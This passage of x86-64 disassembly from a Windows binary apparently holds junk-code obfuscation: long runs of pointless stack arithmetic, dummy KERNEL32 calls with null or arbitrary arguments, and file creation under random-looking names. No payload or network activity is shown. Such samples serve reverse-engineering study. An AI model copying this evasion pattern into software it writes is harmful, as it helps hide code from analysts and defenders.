mov rcx, qword [rsp + 0xb718]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3ac], al
movzx eax, word [rsp + 0x1e28]
mov word [rsp + 0x1fac], ax
mov rax, qword [rsp + 0xb6a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f40]
sub eax, ecx
mov word [rsp + 0x1ca4], ax
mov rax, qword [rsp + 0xb608]
mov rax, qword [rax]
mov rcx, qword [0x140229f70]
add rcx, rax
mov rax, rcx
mov qword [0x14022a0b8], rax
movzx eax, word [rsp + 0x83c]
movzx ecx, word [rsp + 0x1e70]
and eax, ecx
mov word [rsp + 0xe48], ax
lea rax, [rsp + 0x9eb8]
mov qword [rsp + 0xbbd8], rax
mov rax, qword [rsp + 0xad40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cd0]
mov qword [rsp + 0xbbe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbbe0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xad30], rax
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov qword [rsp + 0xbbe8], rax
movsx eax, byte [rsp + 0x169]
mov rcx, qword [0x14022b9d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xafe0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0xad58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x379], al
mov eax, dword [rsp + 0x4788]
mov ecx, dword [rsp + 0x4744]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b2c], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5515
mov rcx, qword [rsp + 0xaae0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48d4], eax
mov rax, qword [0x14022bbe0]
mov ecx, dword [rsp + 0x3c00]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4acc], eax
mov r9d, 0xd92
xor r8d, r8d
lea rdx, [rsp + 0xacf8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b28], eax
mov rax, qword [rsp + 0xaf98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d6c]
or eax, ecx
mov rcx, qword [0x14022ba70]
mov word [rcx], ax
movzx eax, word [rsp + 0x1ef0]
mov word [rsp + 0x1fb0], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x43f8
mov rcx, qword [rsp + 0xac68]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46bc], eax
mov rax, qword [0x14022ba00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8bc]
shl eax, cl
mov rcx, qword [rsp + 0xac00]
mov word [rcx], ax
mov rax, qword [rsp + 0xb5e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x83c]
add eax, ecx
mov rcx, qword [rsp + 0xb6c0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
lea rax, [rsp + 0x8c58]
mov qword [rsp + 0xbbf0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xedfe
mov rcx, qword [rsp + 0xba08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b2c], eax
mov rax, qword [0x14022bab8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x398]
sar eax, cl
mov rcx, qword [rsp + 0x99c0]
mov byte [rcx], al
mov eax, dword [rsp + 0x413c]
mov ecx, dword [rsp + 0x445c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4280], eax
mov rax, qword [rsp + 0xad28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9cb0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1bbc], ax
mov rax, qword [rsp + 0xb160]
movzx eax, word [rax]
mov word [rsp + 0x1fb4], ax
mov rax, qword [rsp + 0xad40]
mov rcx, qword [rsp + 0x7400]
mov rax, qword [rax]
and rax, rcx
mov qword [0x140229f20], rax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9c80]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa748], rax
mov rax, qword [rsp + 0xaa20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9660], rax
lea rax, [rsp + 0xbb38]
mov qword [rsp + 0xbbf8], rax
mov rax, qword [rsp + 0xb588]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa708]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaf38]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa08]
movzx eax, byte [rax]
mov byte [rsp + 0x3ad], al
mov rax, qword [rsp + 0xbae8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x39bc]
sar eax, cl
mov rcx, qword [rsp + 0x99c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97e8]
mov rcx, qword [rsp + 0x8c58]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb4d8], rax
mov eax, dword [rsp + 0x4718]
mov ecx, dword [rsp + 0x4754]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fb8], eax
movzx eax, byte [rsp + 0x37e]
mov byte [0x14022b815], al
movsx eax, word [rsp + 0x156c]
movsx ecx, word [rsp + 0x1c90]
shl eax, cl
mov word [rsp + 0x1f54], ax
mov rax, qword [rsp + 0xaec0]
movzx eax, word [rax]
mov word [rsp + 0x1fb8], ax
movzx eax, word [rsp + 0x1938]
movzx ecx, word [rsp + 0x1f98]
sub eax, ecx
mov rcx, qword [rsp + 0xba50]
mov word [rcx], ax
mov rcx, qword [rsp + 0xa4b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x7f10]
mov rcx, qword [rsp + 0x9c80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa260], rax
mov eax, dword [rsp + 0x473c]
mov ecx, dword [rsp + 0x48ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4298], eax
mov rax, qword [rsp + 0xac70]
mov rcx, qword [0x14022bc70]
mov qword [rsp + 0xbc00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbc00]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7960], rax
mov rax, qword [rsp + 0xab98]
movzx eax, byte [rax]
mov byte [rsp + 0x3ae], al
mov rax, qword [rsp + 0xa8e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xafc0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb8d0]
mov word [rcx], ax
lea rax, [0x14022bcf8]
mov qword [0x14022bd48], rax
lea rdx, [rsp + 0x48b4]
mov rcx, qword [rsp + 0xa578]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x49b0], eax
mov rax, qword [rsp + 0xbbd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7318]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov word [rsp + 0x1fbc], ax
movzx eax, byte [rsp + 0x6b]
movzx ecx, byte [0x140229f1d]
and eax, ecx
mov byte [rsp + 0x376], al
mov eax, dword [rsp + 0x48f0]
mov ecx, dword [rsp + 0x41c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4070], eax
movsx eax, byte [rsp + 0x274]
mov rcx, qword [0x14022b9d0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x39d], al
mov eax, dword [rsp + 0x4a1c]
mov dword [rsp + 0x4b30], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0xa870]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xb890]
mov rcx, qword [rsp + 0xaff8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xaf88]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1fa0]
movsx ecx, word [0x14022bd10]
xor eax, ecx
mov rcx, qword [rsp + 0xa8e8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1968]
movzx ecx, word [rsp + 0x1a3c]
shl eax, cl
mov word [0x14022b900], ax
mov rax, qword [rsp + 0xb1a8]
mov rcx, qword [rsp + 0xaa60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7838], rax
mov rax, qword [0x14022bcd0]
mov rcx, qword [rsp + 0xb4b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9bf8], rax
lea rax, [rsp + 0x1ccc]
mov qword [rsp + 0xbc08], rax
movzx eax, word [rsp + 0x1ecc]
mov rcx, qword [rsp + 0xba50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f0c], ax
movsx eax, byte [rsp + 0x397]
mov rcx, qword [rsp + 0xa478]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb2f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb8e8]
mov rax, qword [rax]
mov qword [rsp + 0xbc10], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [0x14022bbe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49e8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa220]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a80]
mov qword [rsp + 0xbc18], rax
lea rax, [rsp + 0x1e28]
mov qword [0x14022bd50], rax
mov rax, qword [rsp + 0xa018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e7c]
sub eax, ecx
mov word [rsp + 0x1e88], ax
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x202], al
lea rax, [rsp + 0x4950]
mov qword [rsp + 0xbc20], rax
mov rax, qword [rsp + 0xa180]
mov rcx, qword [rsp + 0xa828]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xab90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
and eax, ecx
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0xb488]
mov rcx, qword [rsp + 0xbac0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b88], rax
lea rax, [rsp + 0x4838]
mov qword [rsp + 0xbc28], rax
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa7f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb068]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1ce8], ax
movzx eax, word [rsp + 0x1eb4]
movzx ecx, word [rsp + 0x1d50]
shl eax, cl
mov word [0x14022bc44], ax
mov rax, qword [rsp + 0x8668]
mov rcx, qword [rsp + 0x96d0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ac8], rax
mov rax, qword [rsp + 0xa468]
movzx eax, word [rax]
mov word [rsp + 0x1fc0], ax
mov rax, qword [rsp + 0xaeb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xecc]
sar eax, cl
mov word [rsp + 0x1e98], ax
mov rax, qword [rsp + 0xa820]
mov rax, qword [rax]
mov rcx, qword [0x14022a020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x80b0], rax
mov rax, qword [rsp + 0xa048]
mov ecx, dword [rsp + 0x4840]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa230]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37b]
add eax, ecx
mov byte [rsp + 0x8d], al
lea rax, [rsp + 0x8578]
mov qword [rsp + 0xbc30], rax
movzx eax, word [rsp + 0xe78]
movzx ecx, word [rsp + 0x1d64]
sar eax, cl
mov rcx, qword [rsp + 0xaa10]
mov word [rcx], ax
mov rax, qword [rsp + 0xb300]
mov rax, qword [rax]
mov qword [0x14022bd58], rax
lea rax, [rsp + 0x4a94]
mov qword [rsp + 0xbc38], rax
movzx eax, byte [rsp + 0x3a8]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x19f], al
movsx eax, word [rsp + 0x1de4]
mov rcx, qword [0x14022bd30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ec4], ax
movzx eax, word [rsp + 0x1eb4]
mov word [rsp + 0x1fc4], ax
mov rax, qword [rsp + 0xb508]
mov rcx, qword [rsp + 0x7e48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa098], rax
mov eax, dword [rsp + 0x4484]
mov ecx, dword [rsp + 0x3a84]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4128], eax
mov rax, qword [rsp + 0x9c20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x392]
xor eax, ecx
mov rcx, qword [rsp + 0xac58]
mov byte [rcx], al
mov rax, qword [rsp + 0xb168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f00]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb160]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14022b824], ax
mov rax, qword [rsp + 0xa1e0]
mov qword [rsp + 0xbc40], rax
mov rax, qword [rsp + 0x7400]
movzx ecx, al
mov rax, qword [rsp + 0x73c0]
sar rax, cl
mov qword [rsp + 0x6f28], rax
lea rax, [rsp + 0xa570]
mov qword [rsp + 0xbc48], rax
mov rax, qword [rsp + 0xb940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xafd0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb4c], ax
lea rax, [rsp + 0x9870]
mov qword [rsp + 0xbc50], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.bAQqR0mQQq6tRvp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbc58], rax
mov rax, qword [rsp + 0x9c20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x390]
add eax, ecx
mov rcx, qword [rsp + 0xaa68]
mov byte [rcx], al
mov eax, dword [rsp + 0x413c]
mov ecx, dword [rsp + 0x4838]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaad0]
mov dword [rcx], eax
lea rax, [rsp + 0x3fdc]
mov qword [rsp + 0xbc60], rax
mov rax, qword [rsp + 0x9a48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb610]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb838]
mov byte [rcx], al
movsx eax, word [rsp + 0x1e50]
mov rcx, qword [rsp + 0xab30]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14022b970]
mov word [rcx], ax
movzx eax, word [rsp + 0x1088]
mov word [rsp + 0x1fc8], ax
mov rax, qword [rsp + 0xa588]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cf8]
sub eax, ecx
mov word [rsp + 0x1274], ax
mov rax, qword [rsp + 0xb098]
mov rcx, qword [rsp + 0x8250]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7300], rax
lea rax, [rsp + 0x305]
mov qword [rsp + 0xbc68], rax
mov rax, qword [rsp + 0xb0e8]
mov ecx, dword [rsp + 0x4b14]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa108]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0xaab8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x89f8], rax
lea rcx, [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xba98]
movsx eax, word [rax]
movsx ecx, word [0x14022ba6c]
or eax, ecx
mov rcx, qword [rsp + 0xaf10]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f10]
shl eax, cl
mov rcx, qword [rsp + 0xa718]
mov word [rcx], ax
mov rax, qword [0x14022b888]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x83f0]
sar rax, cl
mov qword [str.GnB_ax], rax
lea rdx, [rsp + 0x4740]
mov rcx, qword [rsp + 0xaf70]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48d4], eax
movzx eax, word [rsp + 0x1bb4]
mov word [rsp + 0x1fcc], ax
mov rax, qword [rsp + 0xa428]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa570]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbbc8]
mov qword [rcx], rax
lea rax, [rsp + 0x9bf8]
mov qword [rsp + 0xbc70], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x20a9
xor r8d, r8d
lea rdx, [rsp + 0xa4b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4908], eax
mov rax, qword [0x14022bab8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x375]
add eax, ecx
mov byte [rsp + 0x279], al
mov rax, qword [rsp + 0xb668]
mov ecx, dword [rsp + 0x4804]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb4e0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x36d]
mov rcx, qword [rsp + 0xb838]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x234], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x9ea9
mov rcx, qword [rsp + 0xab88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x49cc], eax
mov rax, qword [rsp + 0xb768]
mov rcx, qword [rsp + 0xbc38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4524], eax
mov rax, qword [rsp + 0x9398]
mov qword [rsp + 0xbc78], rax
lea rax, [rsp + 0x1174]
mov qword [0x14022bd60], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x9dc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1de8]
sar eax, cl
mov word [rsp + 0x15dc], ax
lea rax, [rsp + 0x1f98]
mov qword [rsp + 0xbc80], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4cbf
mov rcx, qword [rsp + 0x9e88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x468c], eax
mov rax, qword [rsp + 0xa420]
movzx eax, word [rax]
mov rcx, qword [0x14022bb78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d44], ax
mov rax, qword [rsp + 0xad78]
mov ecx, dword [rsp + 0x3a84]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4894], eax
mov rax, qword [rsp + 0xb078]
mov qword [rsp + 0xbc88], rax
lea rcx, [rsp + 0xa058]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x39b]
movsx ecx, byte [rsp + 0x384]
xor eax, ecx
mov byte [rsp + 0x38f], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbc90], rax
movsx eax, word [rsp + 0x9f8]
movsx ecx, word [rsp + 0x1ca0]
shl eax, cl
mov word [rsp + 0xa70], ax
mov rax, qword [rsp + 0xa148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f1c]
or eax, ecx
mov rcx, qword [rsp + 0xa4f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb4d0]
mov rax, qword [rax]
mov rcx, qword [0x140229fa0]
sub rcx, rax
mov rax, rcx
mov qword [0x140229fb0], rax
mov rax, qword [rsp + 0xa560]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9a80]
sar rax, cl
mov rcx, qword [rsp + 0x9c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa3c8]
mov qword [rsp + 0xbc98], rax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x89e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8820], rax
lea rax, [rsp + 0xf60]
mov qword [rsp + 0xbca0], rax
mov rax, qword [rsp + 0xaeb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb540]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35f]
and eax, ecx
mov rcx, qword [rsp + 0x9e10]
mov byte [rcx], al
lea rcx, [rsp + 0xa488]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x37c]
mov qword [rsp + 0xbca8], rax
mov rax, qword [0x14022bc00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb960]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa538], rax
mov eax, dword [rsp + 0x4020]
mov dword [0x14022bd68], eax
lea rax, [rsp + 0x1ea8]
mov qword [rsp + 0xbcb0], rax
mov rax, qword [rsp + 0xab80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f54]
sub eax, ecx
mov word [rsp + 0xa1c], ax
lea rax, [0x14022bac4]
mov qword [rsp + 0xbcb8], rax
mov rax, qword [rsp + 0xbbf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb258]
mov qword [rsp + 0xbcc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbcc0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7c50], rax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0x98e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x447c], eax
mov r9d, 0x155f
xor r8d, r8d
lea rdx, [rsp + 0xacc8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a08], eax
mov rax, qword [rsp + 0x9e28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad98]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x121], al
mov rax, qword [rsp + 0xa2f8]
mov rcx, qword [rsp + 0xa768]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9730], rax
movzx eax, word [rsp + 0x1174]
mov word [rsp + 0x1fd0], ax
movzx eax, word [rsp + 0x1f9c]
movzx ecx, word [rsp + 0x1ef8]
shl eax, cl
mov word [0x14022a0b0], ax
mov rax, qword [rsp + 0x9d38]
mov rcx, qword [rsp + 0xa620]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb330], rax
mov rax, qword [rsp + 0x9f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2b8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xade0]
mov word [rcx], ax
lea rax, [rsp + 0x3b2c]
mov qword [rsp + 0xbcc8], rax
lea rdx, [rsp + 0x4980]
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b34], eax
movzx eax, byte [rsp + 0x1eb]
mov rcx, qword [rsp + 0xad00]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x381], al
mov rax, qword [0x14022b928]
movzx eax, byte [rax]
mov byte [rsp + 0x3af], al
lea rcx, [rsp + 0x9d30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa668]
mov rcx, qword [rsp + 0x7770]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d98], rax
mov eax, dword [rsp + 0x4300]
mov ecx, dword [rsp + 0x3a4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4e0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1fac]
movsx ecx, word [rsp + 0x1ec8]
and eax, ecx
mov word [rsp + 0x11ec], ax
lea rax, [rsp + 0x81c]
mov qword [0x14022bd70], rax
mov rax, qword [rsp + 0xa3c8]
mov rcx, qword [rsp + 0x7540]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9eb8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xa5fd
mov rcx, qword [rsp + 0xa6d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b38], eax
mov rax, qword [0x14022b858]
mov qword [rsp + 0xbcd0], rax
movsx eax, word [rsp + 0x16dc]
mov rcx, qword [rsp + 0xaf10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa460]
mov word [rcx], ax
movzx eax, word [rsp + 0x1df4]
mov rcx, qword [rsp + 0xaf38]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb0a0]
mov word [rcx], ax
lea rax, [rsp + 0x458c]
mov qword [rsp + 0xbcd8], rax
mov rax, qword [rsp + 0xa308]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x110]
sar eax, cl
mov rcx, qword [rsp + 0xb250]
mov byte [rcx], al
lea rax, [rsp + 0x7eb8]
mov qword [rsp + 0xbce0], rax
mov rax, qword [rsp + 0xaa60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab90]
mov qword [rsp + 0xbce8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbce8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb700]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e98]
xor eax, ecx
mov rcx, qword [0x14022b960]
mov word [rcx], ax
movzx eax, word [rsp + 0x17d0]
mov rcx, qword [rsp + 0xb160]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xaa8], ax
mov eax, dword [rsp + 0x4a94]
mov ecx, dword [rsp + 0x4494]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x362]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x354], al
mov rax, qword [rsp + 0x86c8]
mov qword [rsp + 0xbcf0], rax
lea rdx, [rsp + 0x4858]
mov rcx, qword [rsp + 0x9fd0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47ec], eax
mov rax, qword [rsp + 0xb4e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4020]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad38]
mov dword [rcx], eax
lea rax, [rsp + 0xa400]
mov qword [rsp + 0xbcf8], rax
lea rcx, [rsp + 0x9e18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [0x14022b810]
mov rcx, qword [rsp + 0xa478]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x3ae], al
movsx eax, word [rsp + 0x1da8]
movsx ecx, word [rsp + 0x1b5c]
sar eax, cl
mov word [rsp + 0xa1c], ax
lea rax, [rsp + 0x1968]
mov qword [0x14022bd78], rax
mov rax, qword [0x14022baf8]
mov rax, qword [rax]
mov qword [rsp + 0xbd00], rax
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1260]
add eax, ecx
mov word [rsp + 0x1d38], ax
mov rax, qword [rsp + 0xa738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [0x14022b838]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7008], rax
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0xa4]
and eax, ecx
mov byte [rsp + 0x349], al
mov rax, qword [rsp + 0xaad0]
mov eax, dword [rax]
mov dword [rsp + 0x4b3c], eax
mov rax, qword [rsp + 0x9d98]
mov rcx, qword [0x14022bd18]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb048]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.jK4eVF9so_vmYB2QP43bmXM5Nf27A0D
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbd08], rax
lea rax, [rsp + 0xdb8]
